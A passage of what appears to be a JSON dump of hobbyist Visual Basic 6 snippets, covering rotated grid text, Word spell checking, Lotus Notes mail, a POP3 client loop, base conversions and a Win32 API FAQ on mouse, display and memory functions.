TextWidth(stText2)\n 'Start with\n With MSFlexGrid1\n 'Set the Width of the Col's so that the Text will be\n 'Displayed ok\n .ColWidth(0) = TextHeight(\"W\") * 2\n .ColWidth(1) = TextHeight(\"W\") * 2\n 'Set Hight of the First Row, thats where we are going to display\n 'the vertical Text\n .RowHeight(0) = imaxWidth\n 'Set Row for the First Time\n .Row = 0\n 'Save Rotated Text\n Set picTmp = GetRotatetText(stText1)\n 'Set Col\n .Col = 0\n 'Set Picture\n Set .CellPicture = picTmp.Image\n 'Save Rotated Text\n Set picTmp = GetRotatetText(stText2)\n 'Set Col\n .Col = 1\n 'Set Picture\n Set .CellPicture = picTmp.Image\n 'End with\n End With\nEnd Sub\nPublic Function GetRotatetText(stText As String) As PictureBox\n'---------------------------------------------------------------------------\n---------------\n' Name : GetRotatetText\n' Purpose : This Function Returns the Picture, which contains the\nverical drawed Text\n' Parameters : stText Contains the Text which has to be draw\n' Date : Sonntag 22 August 1999 17:37\n' Revised :\n'---------------------------------------------------------------------------\n---------------\n 'Declaration\n Dim iIndex As Integer\n 'Check if the first Picture has been used allready\n If Picture1(0).Tag <> \"\" Then\n Load Picture1(Picture1.Count)\n Else\n Picture1(0).Tag = \"used\"\n End If\n 'Save Index\n iIndex = Picture1.Count - 1\n 'Start with\n With Picture1(iIndex)\n 'Set the Heigth\n .Height = MSFlexGrid1.RowHeight(0)\n 'Draws the Text on the PictureBox\n DrawRotatedText Picture1(iIndex), 0, .Height, 90, stText\n 'Set Return\n Set GetRotatetText = Picture1(iIndex)\n 'End with\n End With\nEnd Function\nPublic Function DrawRotatedText(ByVal pTarget As Object, _\n ByVal X As Single, ByVal Y As Single, _\n ByVal dAngle As Double, _\n ByVal stText As String) As Boolean\n'---------------------------------------------------------------------------\n---------------\n' Name : DrawRotatedText\n' Purpose : This Function Draws the Text an the PictureBox which is\ndefined in the\n' parameters\n' Parameters : pTarget An Object, in this case the PictureBox\n' X The X Coordinate\n' Y The Y Coordinate\n' dAngle The Angle which should be used to draw, any anlge is\npossible\n' stText The Text which should be drawn on the PictureBox\n' Date : Sonntag 22 August 1999 17:38\n' Revised :\n'---------------------------------------------------------------------------\n---------------\n 'Declaration\n Dim RotFont As LOGFONT, OldFont As Long, hFont As Long\n Dim OldX As Single, OldY As Single\n 'Set Error Handling\n On Error GoTo ErrorRotatedText\n 'Define the LogFont Type\n With RotFont\n .lfEscapement = CLng(dAngle * 10)\n .lfFaceName = pTarget.FontName\n .lfHeight = pTarget.FontSize * -20 / Screen.TwipsPerPixelY\n .lfWeight = IIf(pTarget.FontBold, FW_BOLD, FW_NORMAL)\n If pTarget.FontStrikethru Then .lfStrikeOut = 1\n If pTarget.FontUnderline Then .lfUnderline = 1\n If pTarget.FontItalic Then .lfItalic = 1\n .lfOutPrecision = OUT_TT_PRECIS\n .lfQuality = ANTIALIASED_QUALITY\n .lfCharSet = DEFAULT_CHARSET\n .lfPitchAndFamily = VARIABLE_PITCH\n End With\n 'Generate and Asign the Font-Object\n hFont = CreateFontIndirect(RotFont)\n OldFont = SelectObject(pTarget.hDC, hFont)\n 'Save the Coordinatees\n OldX = pTarget.CurrentX\n OldY = pTarget.CurrentY\n 'Set the desired Coordinates\n pTarget.CurrentX = X\n pTarget.CurrentY = Y\n 'Print the Text\n pTarget.Print stText\n 'Set the Coordinates back\n pTarget.CurrentX = OldX\n pTarget.CurrentY = OldY\n 'Set original Font back and destroy the Generated Font\n SelectObject pTarget.hDC, OldFont\n DeleteObject hFont\n 'Set Return\n DrawRotatedText = True\nExitRotatedText:\n Exit Function\nErrorRotatedText:\n Resume ExitRotatedText\nEnd Function"},{"WorldId":1,"id":3167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3184,"LineNumber":1,"line":"\nFunction PathExists(FullPath as string) as Boolean\n'based on function borrowed from Planet Source Safe\n Dim blnDirectory As Boolean\n \n On Error Resume Next\n \n If FileLen(FullPath) = 0& Then\n \n If Err = 0 Then\n \n blnDirectory = (GetAttr(FullPath) And vbDirectory)\n \n If blnDirectory Then PathExists = True\n \n End If\n End If\nEnd Function\n"},{"WorldId":1,"id":3190,"LineNumber":1,"line":"Form_Load()\n Me.Caption = \"Login for project\"\n Text1.Text = \"username\"\n Text2.Text = \"password\"\n Command1.Caption = \"Next\" '<or \"ok\" or something\n \nEnd Sub\n'the next code is for command1\nPrivate Sub Command1_Click()\n If Text1.Text <> \"\" And Text2.Text > \"*\" Then\n Form2.Show\n Else MsgBox \"An error was detected, password must be at least 2 digits and a username must be entered.\", 8, \"Invalid entry\"\n End If\n End Sub\n"},{"WorldId":1,"id":3201,"LineNumber":1,"line":"' 1. Create a new form.\n' 2. Add a Textbox,a pictureBox and an Inet control.\n' 3. Let them all have their default name. \n' 4. Put all the code expect the global decleration in the \"form load procedure\"\n Dim Pos As Integer\n Dim Pos2 As Integer\n Dim Bilden() As Byte\n Dim NrString As String\n Text1.Text = Inet1.OpenURL (\"http://www.unitedmedia.com/comics/dilbert/archive/\") 'Download the page.\n Pos = InStr(1, Text1.Text, \"/comics/dilbert/archive/images/dilbert\")\n Pos2 = InStr(Pos, Text1.Text, \".gif\")\n NrString = Mid(Text1.Text, Pos, Pos2 - Pos)\n Text1.Text = \"http://www.unitedmedia.com\" + NrString + \".gif\" ' Debug filename\n Bilden() = Inet1.OpenURL(\"http://www.unitedmedia.com\" + NrString + \".gif\", icByteArray) ' Download picture.\n Open \"C:\\dilbert.gif\" For Binary Access Write As #1 ' Save the file.\n Put #1, , Bilden() \n Close #1 \n Picture1.Picture = LoadPicture(\"c:\\dilbert.gif\") 'Reload it to PictureBox\n SavePicture Picture1.Picture, \"c:\\dilbert.bmp\" 'Converted to bmp.. \n \n Call SystemParametersInfo(20, 0, \"c:\\dilbert.bmp\", 1) 'Change the wallpaper.\n Unload Me ' Exit program\n"},{"WorldId":1,"id":3221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3222,"LineNumber":1,"line":"Public Function SpellCheck(strText As String, Optional blnSupressMsg As Boolean = False) As String\n'This function opens the MS Word Object and uses its spell checker\n'passing back the corrected string\nOn Error Resume Next\nDim oWDBasic As Object\nDim sTmpString As String\nIf strText = \"\" Then\n If blnSupressMsg = False Then\n MsgBox \"Nothing to spell check.\", vbInformation, App.ProductName\n End If\n Exit Function\nEnd If\nScreen.MousePointer = vbHourglass\nSet oWDBasic = CreateObject(\"Word.Basic\")\nWith oWDBasic\n .FileNew\n .Insert strText\n .ToolsSpelling oWDBasic.EditSelectAll\n .SetDocumentVar \"MyVar\", oWDBasic.Selection\nEnd With\nsTmpString = oWDBasic.GetDocumentVar(\"MyVar\")\nsTmpString = Left(sTmpString, Len(sTmpString) - 1)\nIf sTmpString = \"\" Then\n SpellCheck = strText\nElse\n SpellCheck = sTmpString\nEnd If\noWDBasic.FileCloseAll 2\noWDBasic.AppClose\nSet oWDBasic = Nothing\nScreen.MousePointer = vbNormal\nIf blnSupressMsg = False Then\n MsgBox \"Spell check is completed.\", vbInformation, App.ProductName\nEnd If\nEnd Function\n"},{"WorldId":1,"id":3223,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3231,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3242,"LineNumber":1,"line":"'**************************************************************\n'* Best Tools *\n'* Conversion *\n'* v2.1 (Improved performance) *\n'* for VB *\n'* *\n'*This module contain a lot of subs and functions for basic *\n'*conversion between Hexadecimal, Binary and decimal. *\n'**************************************************************\nOption Explicit\nPublic Function Bin2Dec(ByVal sBin As String) As Long\n Dim i As Integer\n \n For i = 1 To Len(sBin)\n Bin2Dec = Bin2Dec + CLng(CInt(Mid(sBin, Len(sBin) - i + 1, 1)) * 2 ^ (i - 1))\n Next i\nEnd Function\nPublic Function Bin2Hex(ByVal sBin As String) As String\n Dim i As Integer\n Dim nDec As Long\n sBin = String(4 - Len(sBin) Mod 4, \"0\") & sBin 'Add zero to complete Byte\n For i = 1 To Len(sBin)\n nDec = nDec + CInt(Mid(sBin, Len(sBin) - i + 1, 1)) * 2 ^ (i - 1)\n Next i\n Bin2Hex = Hex(nDec)\n If Len(Bin2Hex) Mod 2 = 1 Then Bin2Hex = \"0\" & Bin2Hex\nEnd Function\nPublic Function Dec2Bin(ByVal nDec As Integer) As String\n 'This function is the same then Hex2Bin, but it has been copied to speed up process\n Dim i As Integer\n Dim j As Integer\n Dim sHex As String\n Const HexChar As String = \"0123456789ABCDEF\"\n \n sHex = Hex(nDec) 'That the only part that is different\n For i = 1 To Len(sHex)\n nDec = InStr(1, HexChar, Mid(sHex, i, 1)) - 1\n For j = 3 To 0 Step -1\n Dec2Bin = Dec2Bin & nDec \\ 2 ^ j\n nDec = nDec Mod 2 ^ j\n Next j\n Next i\n 'Remove the first unused 0\n i = InStr(1, Dec2Bin, \"1\")\n If i <> 0 Then Dec2Bin = Mid(Dec2Bin, i)\nEnd Function\nPublic Function Hex2Bin(ByVal sHex As String) As String\n Dim i As Integer\n Dim j As Integer\n Dim nDec As Long\n Const HexChar As String = \"0123456789ABCDEF\"\n \n For i = 1 To Len(sHex)\n nDec = InStr(1, HexChar, Mid(sHex, i, 1)) - 1\n For j = 3 To 0 Step -1\n Hex2Bin = Hex2Bin & nDec \\ 2 ^ j\n nDec = nDec Mod 2 ^ j\n Next j\n Next i\n 'Remove the first unused 0\n i = InStr(1, Hex2Bin, \"1\")\n If i <> 0 Then Hex2Bin = Mid(Hex2Bin, i)\nEnd Function\nPublic Function Hex2Dec(ByVal sHex As String) As Long\n Dim i As Integer\n Dim nDec As Long\n Const HexChar As String = \"0123456789ABCDEF\"\n \n For i = Len(sHex) To 1 Step -1\n nDec = nDec + (InStr(1, HexChar, Mid(sHex, i, 1)) - 1) * 16 ^ (Len(sHex) - i)\n Next i\n Hex2Dec = CStr(nDec)\nEnd Function\nPublic Function HiWord(ByVal DWord As Long) As Long\n HiWord = (DWord \\ 65536) And &HFFFF\nEnd Function\nPublic Function LoWord(ByVal DWord As Long) As Long\n LoWord = DWord And &HFFFF\nEnd Function\nPublic Function DWord(ByVal HiWord As Long, ByVal LoWord As Long) As Long\n DWord = ((LoWord And 65536) Or ((HiWord And 65536) * 65536))\nEnd Function"},{"WorldId":1,"id":3250,"LineNumber":1,"line":"Private Sub Form_Load ()\nDim instring As String\nDim outstring As String\nOn Error GoTo Clnup\nOpen \"FileRead.txt\" For Input As #1 ' file opened for reading\nOpen \"FileOutPut.txt\" For Output As #2 ' file created \n \nLine Input #1, instring\nWhile Not EOF(1)\n Line Input #1, instring\n If Len(outstring) = 0 Then\n outstring = instring\n Else\n outstring = outstring & \",\" & instring\n End If\n \nWend\nPrint #2, outstring\nClose #1\nClose #2\nClnup:\nClose\nEnd\nEnd Sub"},{"WorldId":1,"id":3253,"LineNumber":1,"line":"Option Explicit\nPrivate Const BIF_RETURNONLYFSDIRS = 1\nPrivate Const BIF_DONTGOBELOWDOMAIN = 2\nPrivate Const MAX_PATH = 260\nPrivate Declare Function SHBrowseForFolder Lib _\n\t\"shell32\" (lpbi As BrowseInfo) As Long\nPrivate Declare Function SHGetPathFromIDList Lib _\n\t\"shell32\" (ByVal pidList As Long, ByVal lpBuffer _\n\tAs String) As Long\nPrivate Declare Function lstrcat Lib \"kernel32\" _\n\tAlias \"lstrcatA\" (ByVal lpString1 As String, ByVal _\n\tlpString2 As String) As Long\nPrivate Type BrowseInfo\n\thWndOwner As Long\n\tpIDLRoot As Long\n\tpszDisplayName As Long\n\tlpszTitle As Long\n\tulFlags As Long\n\tlpfnCallback As Long\n\tlParam As Long\n\tiImage As Long\nEnd Type\nPrivate Sub Command1_Click()\n'Opens a Browse Folders Dialog Box that displays the \n'directories in your computer\nDim lpIDList As Long ' Declare Varibles\nDim sBuffer As String\nDim szTitle As String\nDim tBrowseInfo As BrowseInfo\nszTitle = \"Hello World. Click on a directory and \" & _\n\t\"it's path will be displayed in a message box\"\n' Text to appear in the the gray area under the title bar\n' telling you what to do\nWith tBrowseInfo\n\t.hWndOwner = Me.hWnd ' Owner Form\n\t.lpszTitle = lstrcat(szTitle, \"\")\n\t.ulFlags = BIF_RETURNONLYFSDIRS + BIF_DONTGOBELOWDOMAIN\nEnd With\nlpIDList = SHBrowseForFolder(tBrowseInfo)\nIf (lpIDList) Then\n\tsBuffer = Space(MAX_PATH)\n\tSHGetPathFromIDList lpIDList, sBuffer\n\tsBuffer = Left(sBuffer, InStr(sBuffer, vbNullChar) - 1)\n\tMsgBox sBuffer\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":3256,"LineNumber":1,"line":"Private Sub CmdSend_Click() \nDim oSess As Object\nDim oDB As Object\nDim oDoc As Object\nDim oItem As Object\nDim direct As Object\nDim Var As Variant\nDim flag As Boolean\nForm1.MousePointer = 11\nForm1.StatusBar1.SimpleText = \"Opening Lotus Notes...\"\nSet oSess = CreateObject(\"Notes.NotesSession\")\nSet oDB = oSess.GETDATABASE(\"\", \"\")\nCall oDB.OPENMAIL\nflag = True\nIf Not (oDB.ISOPEN) Then flag = oDB.OPEN(\"\", \"\")\nIf Not flag Then\nMsgBox \"Can't open mail file: \" & oDB.SERVER & \" \" & oDB.FILEPATH\nGoTo exit_SendAttachment\nEnd If\nOn Error GoTo err_handler\nForm1.StatusBar1.SimpleText = \"Building Message\"\nSet oDoc = oDB.CREATEDOCUMENT\nSet oItem = oDoc.CREATERICHTEXTITEM(\"BODY\")\noDoc.Form = \"Memo\"\noDoc.subject = Form1.TxtSubject.Text\noDoc.sendto = Form1.TxtSendTo.Text\noDoc.body = Form1.TxtMessage.Text\noDoc.postdate = Date\nForm1.StatusBar1.SimpleText = \"Attaching Database \" & Form1.TxtFilePath\nCall oItem.EMBEDOBJECT(1454, \"\", Form1.TxtFilePath)\noDoc.visable = True\nForm1.StatusBar1.SimpleText = \"Sending Message\"\noDoc.SEND False\nexit_SendAttachment:\nOn Error Resume Next\nSet oSess = Nothing\nSet oDB = Nothing\nSet oDoc = Nothing\nSet oItem = Nothing\nForm1.StatusBar1.SimpleText = \"Done!\"\nForm1.MousePointer = 1\nExit Sub\nerr_handler:\nIf Err.Number = 7225 Then\nMsgBox \"File doesn't exist\"\nElse\nMsgBox Err.Number & \" \" & Err.Description\nEnd If\nOn Error GoTo exit_SendAttachment\nForm1.MousePointer = 1\nEnd Sub"},{"WorldId":1,"id":3260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3262,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3264,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3266,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3287,"LineNumber":1,"line":"'* This must be compiled into an executable for the intrinsic \n'* error logging to work\n'* It will not work from the development enviroment.\n'* paste this code on to a form, save and compile it for the demo \nPrivate Sub Form_Load()\n'*here is an example of a sub which I raise errors in for the demo\n ErrorDemoSub\n \n MsgBox \"Errors Recorded in Error Log File\"\n \n Unload Me\n \nEnd Sub\nPrivate Sub ErrorDemoSub()\n Dim i As Integer\n Dim ii As Integer\n On Error GoTo MyErrorLog\n 'we'll simulate an error in a loop although we only log it one time\n For i = 1 To 20\n For ii = 1 To 5 \n Err.Raise i\n Next ii\n Next i\n \n Exit Sub\n \nMyErrorLog:\n LogErrors Err.Number, Err.Description, Me.Name, \"ErrorDemoSub\"\n Err.Clear\n Resume Next\n \nEnd Sub"},{"WorldId":1,"id":3311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3318,"LineNumber":1,"line":"'WS_POP3_Conn is winsock component variable\n'pop3 session state after send LIST command\n'full source code and usage paper you can find at \n'http://www.tair.freeservers.com\nCase 4\n WS_POP3_Conn.GetData inBuffer2, vbString\n inBuffer = inBuffer & inBuffer2\nIf def_mail = 0 Then\n'Answer on LIST command\n If Right(inBuffer, 5) = CRLF_CRLF Then\n 'OK LIST response terminated\n def_mail = def_mail + 1\n Tmp_log.Text = Tmp_log.Text & \"Parsing List Response\" & CRLF\n If Parse_LIST_Response(inBuffer) = 0 Then\n Tmp_log.Text = Tmp_log.Text & \"FOUND: \" & mail_count & \" mail(s)\" & CRLF\n outBuffer = \"RETR \" & def_mail & CRLF\n Tmp_log.Text = Tmp_log.Text & \"RETR \" & def_mail & \" COMMAND SENT\" & CRLF\n Cmd_First.Enabled = False\n Cmd_Prev.Enabled = False\n Cmd_Next.Enabled = False\n Cmd_Last.Enabled = False\n Cmd_GoTo.Enabled = False\n Else\n outBuffer = \"QUIT\" & CRLF\n Tmp_log.Text = Tmp_log.Text & \"NO MAILS FOUND\" & CRLF\n Tmp_log.Text = Tmp_log.Text & \"QUIT COMMAND SENT\" & CRLF\n Command_ID = 5\n Tmp_log.Text = Tmp_log.Text & \"cid=5\" & CRLF\n End If\n Tmp_log.Text = Tmp_log.Text & \"ibuffer=\" & inBuffer\n Tmp_log.Text = Tmp_log.Text & \"obuffer=\" & outBuffer\n inBuffer = \"\"\n WS_POP3_Conn.SendData outBuffer\n Tmp_log.SelStart = Len(Tmp_log.Text) - 1\n Tmp_log.Refresh\n 'EOF OK LIST response terminated\n End If\n'EOF Answer on LIST command\nElse\n If def_mail < mail_count Then\n'recive n mail\n If Right(inBuffer, 5) = CRLF_CRLF Then\n 'OK n mail terminated\n zu = Parse_Mail(inBuffer, def_mail)\n def_mail = def_mail + 1\n outBuffer = \"RETR \" & def_mail & CRLF\n Tmp_log.Text = Tmp_log.Text & \"RETR \" & def_mail & \" COMMAND SENT\" & CRLF\n inBuffer = \"\"\n WS_POP3_Conn.SendData outBuffer\n Tmp_log.SelStart = Len(Tmp_log.Text) - 1\n Tmp_log.Refresh\n 'ok n mail recived\n 'EOF ok n mail recived\n 'Else\n 'fail n mail not recived\n 'EOF fail n mail not recived\n 'End If\n 'EOF OK n mail terminated\n End If\n'EOF recive n mail\n Else\n'recive last mail\n If Right(inBuffer, 5) = CRLF_CRLF Then\n 'OK last mail terminated\n 'If Left(inBuffer, 1) = \"+\" Then\n 'ok last mail recived no errors\n zu = Parse_Mail(inBuffer, def_mail)\n Tmp_log.Text = Tmp_log.Text & \"cid=5\" & CRLF\n Tmp_log.Text = Tmp_log.Text & \"Get Last Mail\" & CRLF\n Tmp_log.Text = Tmp_log.Text & \"ibuffer=\" & inBuffer\n Tmp_log.Text = Tmp_log.Text & \"obuffer=\" & outBuffer\n outBuffer = \"QUIT\" & CRLF\n Tmp_log.Text = Tmp_log.Text & \"QUIT COMMAND SENT\" & CRLF\n Command_ID = 5\n Tmp_log.Text = Tmp_log.Text & \"cid=5\" & CRLF\n inBuffer = \"\"\n If mail_count > 1 Then\n Cmd_First.Enabled = False\n Cmd_Prev.Enabled = False\n Cmd_Next.Enabled = True\n Cmd_Last.Enabled = True\n Cmd_GoTo.Enabled = True\n End If\n Lbl_Mail_Count.Caption = \"of \" & mail_count\n Lbl_Mail_Count.Refresh\n Load_Fields 1\n txt_Position.Text = \"1\"\n txt_Position.Refresh\n WS_POP3_Conn.SendData outBuffer\n Tmp_log.Text = Tmp_log.Text & \"QUIT COMMAND SENT\" & CRLF\n Tmp_log.SelStart = Len(Tmp_log.Text) - 1\n Tmp_log.Refresh\n 'EOF ok last mail recived no errors\n 'Else\n 'last mail recived with errors\n ' MsgBox \"last mail recived with errors.\"\n ' Command_ID = 5\n 'EOF last mail recived with errors\n 'End If\n 'EOF OK last mail terminated\n End If\n 'recive last mail\n End If\nEnd If\n"},{"WorldId":1,"id":3322,"LineNumber":1,"line":"How do I change the Double click time of the mouse?\nThe double click time is the time between two consecutive mouse clicks that will cause a double click event. You can change the time from your VB Application by calling the SetDoubleClickTime API function. It has only one parameter. This is the new DoubleClick time delay in milliseconds.\nDeclare Function SetDoubleClickTime Lib \"user32\" Alias _\n\"SetDoubleClickTime\" (ByVal wCount As Long) As Long\nN.B. These changes affect the entire system.\n\n----------------------------------------------------------------------\n\nHow can I hide the cursor?\nYou can use the API function Showcursor, that allows you to control the visibility of the cursor. The declaration for this function is:\nDeclare Function ShowCursor& Lib \"user32\" _\n(ByVal bShow As Long)\nThe Parameter bShow is set to True (non-zero) to display the cursor, False to hide it.\n\n----------------------------------------------------------------------\n\nHow do I swap the mouse buttons?\nUse the API Function SwapMouseButton to swap the functions of the Left and Right mouse buttons. The declare for this function is:\nDeclare Function SwapMouseButton& Lib \"user32\" _\n(ByVal bSwap as long)\nTo swap the mouse buttons, call this function with the variable bSwap = True. Set bSwap to False to restore normal operation.\n\n----------------------------------------------------------------------\n\nHow can I move the mouse cursor?\nYou can use the SetCursorPos Api function. It accepts two parameters. These are the x position and the y position in screen pixel coordinates. You can get the size of the screen by calling GetSystemMetrics function with the correct constants. This example puts the mouse cursor in the top left hand corner.\nt& = SetCursorPos(0,0)\nThis will only work if the formula has bee declared in the declarations section:\nDeclare Function SetCursorPosition& Lib \"user32\" _\n(ByVal x as long, ByVal y as long)\n\n----------------------------------------------------------------------\n\nHow do I find out how much disk space is occupied?\nUse the function GetDiskFreeSpace. The declaration for this API function is:\nDeclare Function GetDiskFreeSpace Lib \"kernel32\" Alias _\n\"GetDiskFreeSpaceA\" (ByVal lpRootPathName As String, _\nlpSectorsPerCluster As Long, lpBytesPerSector As Long, _\nlpNumberOfFreeClusters As Long, lpTotalNumberOfClusters _\nAs Long) As Long\nHere is an example of how to find out how much free space a drive has:\nDim SectorsPerCluster&\nDim BytesPerSector&\nDim NumberOfFreeClusters&\nDim TotalNumberOfClusters&\nDim FreeBytes&\ndummy& = GetDiskFreeSpace(\"c:\\\", SectorsPerCluster, _\nBytesPerSector, NumberOfFreeClusters, TotalNumberOfClusters)\nFreeBytes = NumberOfFreeClusters * SectorsPerCluster * _\nBytesPerSector\nThe Long FreeBytes contains the number of free bytes on the drive.\n\n----------------------------------------------------------------------\n\nChanging the screen resolution\nA big problem for many vb-programmers is how to change the screen resolution, also because in the Api-viewer the variable for EnumDisplaySettings and ChangeDisplaySettings is missing!\n1. Code for the basic-module\nDeclare Function EnumDisplaySettings Lib \"user32\" _\nAlias \"EnumDisplaySettingsA\" _\n(ByVal lpszDeviceName As Long, _\nByVal iModeNum As Long, _\nlpDevMode As Any) As BooleanDeclare Function ChangeDisplaySettings Lib \"user32\" _\nAlias \"ChangeDisplaySettingsA\" _\n(lpDevMode As Any, ByVal dwFlags As Long) As Long\nDeclare Function ExitWindowsEx Lib \"user32\" _\n(ByVal uFlags As Long, ByVal dwReserved As Long) As LongPublic Const EWX_LOGOFF = 0\nPublic Const EWX_SHUTDOWN = 1\nPublic Const EWX_REBOOT = 2\nPublic Const EWX_FORCE = 4\nPublic Const CCDEVICENAME = 32\nPublic Const CCFORMNAME = 32\nPublic Const DM_BITSPERPEL = &H40000\nPublic Const DM_PELSWIDTH = &H80000\nPublic Const DM_PELSHEIGHT = &H100000\nPublic Const CDS_UPDATEREGISTRY = &H1\nPublic Const CDS_TEST = &H4\nPublic Const DISP_CHANGE_SUCCESSFUL = 0\nPublic Const DISP_CHANGE_RESTART = 1Type DEVMODE\n dmDeviceName As String * CCDEVICENAME\n dmSpecVersion As Integer\n dmDriverVersion As Integer\n dmSize As Integer\n dmDriverExtra As Integer\n dmFields As Long\n dmOrientation As Integer\n dmPaperSize As Integer\n dmPaperLength As Integer\n dmPaperWidth As Integer\n dmScale As Integer\n dmCopies As Integer\n dmDefaultSource As Integer\n dmPrintQuality As Integer\n dmColor As Integer\n dmDuplex As Integer\n dmYResolution As Integer\n dmTTOption As Integer\n dmCollate As Integer\n dmFormName As String * CCFORMNAME\n dmUnusedPadding As Integer\n dmBitsPerPel As Integer\n dmPelsWidth As Long\n dmPelsHeight As Long\n dmDisplayFlags As Long\n dmDisplayFrequency As Long\nEnd Type\nExample\nChanges the resolution to 640x480 with the current colordepth.\nDim DevM As DEVMODE\n'Get the info into DevM\nerg& = EnumDisplaySettings(0&, 0&, DevM)\n'We don't change the colordepth, because a\n'rebot will be necessary\nDevM.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT 'Or DM_BITSPERPEL\nDevM.dmPelsWidth = 640 'ScreenWidth\nDevM.dmPelsHeight = 480 'ScreenHeight\n'DevM.dmBitsPerPel = 32 (could be 8, 16, 32 or even 4)\n'Now change the display and check if possibleerg& = ChangeDisplaySettings(DevM, CDS_TEST)\n'Check if succesfullSelect Case erg&\nCase DISP_CHANGE_RESTART\n an = MsgBox(\"You've to reboot\", vbYesNo + vbSystemModal, \"Info\")\n If an = vbYes Then\n erg& = ExitWindowsEx(EWX_REBOOT, 0&)\n End If\nCase DISP_CHANGE_SUCCESSFUL\n erg& = ChangeDisplaySettings(DevM, CDS_UPDATEREGISTRY)\n MsgBox \"Everything's ok\", vbOKOnly + vbSystemModal, \"It worked!\"\nCase Else\n MsgBox \"Mode not supported\", vbOKOnly + vbSystemModal, \"Error\"\nEnd SelectEnd Sub\n\n----------------------------------------------------------------------\n\nHow to display the item which the mouse is over in a list box\nI have had many letters which have asked me how to you display in a tooltip or some other means, such as a text box, the current item's text in a list box which the mouse pointer is hovering over. I now have the answer which uses the SendMessage API.\nStart A new Standard-EXE project, form1 is created by default. \nAdd a list box and a text box to form1. \nOpen up the code window for Form1 and type the following \nOption Explicit\nPrivate Declare Function SendMessage Lib _\n\"user32\" Alias \"SendMessageA\" (ByVal hwnd _\nAs Long, ByVal wMsg As Long, ByVal wParam _\nAs Long, lParam As Any) As Long\nPrivate Const LB_ITEMFROMPOINT = &H1A9\nPrivate Sub Form_Load()\nWith List1\n .AddItem \"Visit\"\n .AddItem \"Steve Anderson Web Site AT\"\n .AddItem \"http://www.microweird.demon.co.uk\"\nEnd With\nEnd Sub\nPrivate Sub List1_MouseMove(Button _\nAs Integer, Shift As Integer, X As _\nSingle, Y As Single)\nDim lXPoint As Long\nDim lYPoint As Long\nDim lIndex As Long\nIf Button = 0 Then ' if no button was pressed\n lXPoint = CLng(X / Screen.TwipsPerPixelX)\n lYPoint = CLng(Y / Screen.TwipsPerPixelY)\n With List1\n ' get selected item from list\n lIndex = SendMessage(.hwnd, _\n LB_ITEMFROMPOINT, 0, ByVal _\n ((lYPoint * 65536) + lXPoint))\n ' show tip or clear last one\n If (lIndex >= 0) And _\n (lIndex <= .ListCount) Then\n .ToolTipText = .List(lIndex)\n Text1.Text = .List(lIndex)\n Else\n .ToolTipText = \"\"\n End If\n End With\nEnd If\nEnd Sub\nRun the project(F5) and hover your cursor over different items in the list box and they will be displayed in a tooltip and in Text1. \n\n----------------------------------------------------------------------\n\nFinding out the amount of free memory\nIt is easy to return the amount of free memory in windows, using the GlobalMemoryStatus API call. Insert the following into a module's declarations section:\nPublic Type MEMORYSTATUS \ndwLength As Long \ndwMemoryLoad As Long \ndwTotalPhys As Long \ndwAvailPhys As Long \ndwTotalPageFile As Long \ndwAvailPageFile As Long \ndwTotalVirtual As Long \ndwAvailVirtual As Long\nEnd TypePublic Declare Sub GlobalMemoryStatus _\nLib \"kernel32\" (lpBuffer As MEMORYSTATUS)\nNow, add this code to get the values:\nDim MS As MEMORYSTATUS \nMS.dwLength = Len(MS) \nGlobalMemoryStatus MS\n' MS.dwMemoryLoad contains percentage memory used\n' MS.dwTotalPhys contains total amount of physical memory in bytes\n' MS.dwAvailPhys contains available physical memory\n' MS.dwTotalPageFile contains total amount of memory in the page file\n' MS.dwAvailPageFile contains available amount of memory in the page file\n' MS.dwTotalVirtual contains total amount of virtual memory\n' MS.dwAvailVirtual contains available virtual memory\nYou could use this in about boxes or making a memory monitoring system\n\n----------------------------------------------------------------------\n\n"},{"WorldId":1,"id":3323,"LineNumber":1,"line":"'Author : Damien McGivern\n'E-Mail : D_McGivern@Yahoo.Com\n'Date : 30 Aug 1999\nOption Explicit\nPublic Declare Function SendMessageLong Lib \"USER32\" Alias \"SendMessageA\" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPublic Const EM_GETSEL As Long = &HB0\nPublic Const EM_SETSEL As Long = &HB1\nPublic Const EM_GETLINECOUNT As Long = &HBA\nPublic Const EM_LINEINDEX As Long = &HBB\nPublic Const EM_LINELENGTH As Long = &HC1\nPublic Const EM_LINEFROMCHAR As Long = &HC9\nPublic Const EM_SCROLLCARET As Long = &HB7\nPublic Const WM_SETREDRAW As Long = &HB\nPublic Enum LineInfo\n [Line count] = 0\n [Cursor Position] = 1\n [Current Line Number] = 2\n [Current Line Start] = 3\n [Current Line End] = 4\n [Current Line Length] = 5\n [Current Line Cursor Position] = 6\n [Line Start] = 7\n [Line End] = 8\n [Line Length] = 9\nEnd Enum\nPublic Function getLineInfo(txtObj As Object, info As LineInfo, Optional lineNumber As Long) As Long\n Dim cursorPoint As Long\n '//Record where the cursor is\n cursorPoint = txtObj.SelStart\n Select Case info\n Case Is = 0 ' = \"lineCount\"\n getLineInfo = SendMessageLong(txtObj.hWnd, EM_GETLINECOUNT, 0, 0&)\n Case Is = 1 ' = \"cursorPosition\"\n getLineInfo = (SendMessageLong(txtObj.hWnd, EM_GETSEL, 0, 0&) \\ &H10000) + 1\n Case Is = 2 ' = \"currentLineNumber\"\n getLineInfo = (SendMessageLong(txtObj.hWnd, EM_LINEFROMCHAR, -1, 0&)) + 1\n Case Is = 3 ' = \"currentLineStart\"\n getLineInfo = SendMessageLong(txtObj.hWnd, EM_LINEINDEX, -1, 0&) + 1\n Case Is = 4 ' = \"currentLineEnd\"\n getLineInfo = SendMessageLong(txtObj.hWnd, EM_LINEINDEX, -1, 0&) + 1 + SendMessageLong(txtObj.hWnd, EM_LINELENGTH, -1, 